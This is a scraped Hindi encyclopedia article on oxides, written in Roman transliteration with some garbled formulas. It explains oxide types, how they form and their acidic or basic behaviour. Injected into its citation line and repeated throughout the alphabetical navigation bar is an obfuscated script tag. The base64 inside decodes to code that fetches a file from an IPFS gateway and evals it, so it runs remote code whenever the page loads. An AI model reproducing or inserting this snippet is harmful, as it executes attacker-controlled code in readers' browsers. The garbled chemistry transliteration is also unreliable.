ऑक्साइड

aauksaid (aangrezi:Oxide) kisi tatv ka aauksijan ke sanyog se banane vala yaugik hota hai. adhikaansh tatvoan (dhatu evan adhatu) ko aauksijan evan vayu mean jalakar ek naya yaugik banaya ja sakata hai, jise aauksaid kahate haian.

pani, haidrojan ka ek aauksaid hai.
karban ka aauksaid, karban d aaui-aauksaid (CO₂) aur karban mono-aauksaid (CO) haian.
lohe ke padarthoan par jama jang bhi vastav mean lohe ka aauksaid hi hai. lauh padarthoan mean jag lagane ki kriya vayu mean aauksijan aur jalavashy ki ayaran se kriya ka parinam hota hai.
kate hue seb ki satah par bhoore rang ki parat banana bhi ayaran aauksaid ki upasthiti darshata haian. vastutah seb mean ayaran yani lauh tattv paya jata hai jo vayumandal ki aauksijan se kriya karake ayaran aauksaid banata hai.

kuchh aauksaidoan ka vilayan nile litamas pepar ko lal kar deta hai. in vilayanoan ko aml kahate haian. kuchh aise aauksaid hote haian jinaka vilayan isaki viparit pratikriya darshata hai arthath vah lal litamas pepar ko nila kar deta hai. in vilayanoan ko ksharak kahate haian.

aksaid kisi tatv ke sath aksijan ke yaugik haian. ye sarvatr bahutayat se milate haian. haidrojan ka aksaid pani (ha₂au) prithvi par bahut b di matra mean hai. isake atirikt hava mean kee prakar ke gaisiy aksaid haian, jaise karban dai aksaid, salphar dai aksaid adi. khanijoan, chattanoan aur dharati ki oopari tah mean bhi vibhinn aksaid haian. aksijan kuchh tatvoan ko chho dakar lagabhag sabhi tatvoan se pratyaksh athava apratyaksh kriya karata hai. isase anek aksaid upalabdh haian.

aksaid banane ke lie vaise to bahut si vidhiyaan haian, parantu sadharanataya nimnaankit vidhiyoan ka prayog hota hai:

aksijan ke sidhe sanyog se-sodiyam, phasphoras, loh, karban, gandhak, maignishiyam ityadi hava ya aksijan mean garam karane par aksaid banate haian. inamean kuchh to sadharan tap par hi dhire-dhire aksijan se kriya karate haian, jaise sodiyam, phasphoras adi.

pani ki kriya dvara-moracha lagane se athava garam lohe par bhap ki kriya se lohe ka aksaid prapt hota hai. kuchh dhatuoan ke naitret ya karabonet ko adhik garam karane par (lavan ke vighatan se) aksaid prapt hota hai, jaise kapar naitret ya kailsiyam karabonet se kramanusar taanbe tatha naitrojan ke aur kailsiyam tatha karban ke aksaid. isi vidhi se haidr aauksaid (jaise ferik haidr aauksaid) bhi aksaid dete haian.

rasayanik gun athava aksijan ke anupat ke anusar in aksaidoan ko kram se rakhane par pratyek samooh ke pratinidhi aksaid dha2aai ya dha aai ityadi hote haian (yahaan = dha koee dhatu, aai = aksijan). parantu kuchh tatv kee aksaid banate haian, jinamean aksijan ki matraean bhinn hoti haian.

rasayanik gun ke vichar se aksaid nimnaankiant vargoan mean vibhakt kie ja sakate haian:

amliy aksaid-ye pani se milakar aml banate haian athava kshar ya kshariy aksaid ke lavan; jaise karban dai aksaid, salphar dai aksaid. kuchh aksaid mishrit ainahaidraid hote haian, jaise naitrojan paraksaid pani ke sath naitras aur naitrik aml donoan banata hai.

kshariy aksaid-ye pani se milakar kshar banate haian athava aml ya amliy aksaid se lavan; jaise sodiyam, potaishiyam, kailishayam ke aksad.

udasin aksaid - inaki kriya se n lavan hi banata hai aur n kshar athava aml; jaise naitras aksaid, karban monoksaid. vaise to naitras aksaid haiponaitras aml ka ainahaidraid hai, parantu pani se milakar aml nahian banata.

ubhayadharmi (aianphotarik) aksaid - ye aml se kshariy aksaid ke sadrish tatha kshar se amliy aksaid ke sadrish kriya karate haian, jaise ziank aksaid aml tatha kshar donoan se lavan deta hai.

paraksaid-inamean sadharan se adhik aksijan hota hai. aise (kshariy) paraksaid pani athava aml se haidrojan aksaid banate haian (jaise sodiyam ya beriyam paraksaid). inamean bhi do prakar haian, pahala supar aksaid tatha doosara bahu (p aauli) aksaid.

dohare ya mishrit aksaid - kuchh dhatu ke aise do aksaid, jinamean se ek mean aksijan ki matra kam hai tatha doosari mean adhik, milakar mishrit aksaid dete haian. jaise loau tatha lae2au3 se lo3aai4 (lo = loha ya lauh).

aksaid ke namakaran mean aksijan ki matra ke anusar mono (ek), daee (dvi), seskvi (adhyarddh) ityadi ka prayog hota hai.^[1]

aksai doan ka upayog bahut tarah ke rasayanik yaugikoan ke banane mean hai. kee prakar ke utprerakoan (kaitalistoan) tatha unake unnayakoan (promotars) mean aksaid ka bahut upayog hota hai.^[2]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 344 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ san.gran-je.dablyoo. melar: e k aaumpriheansiv tratiz aaun in aaurgainik aiand thyoretikal kemistri (1922); je.ar. paratiangatan: tekst buk aauv in aaurgenik kemistri.

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 344 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] san.gran-je.dablyoo. melar: e k aaumpriheansiv tratiz aaun in aaurgainik aiand thyoretikal kemistri (1922); je.ar. paratiangatan: tekst buk aauv in aaurgenik kemistri.

[1]

[2]

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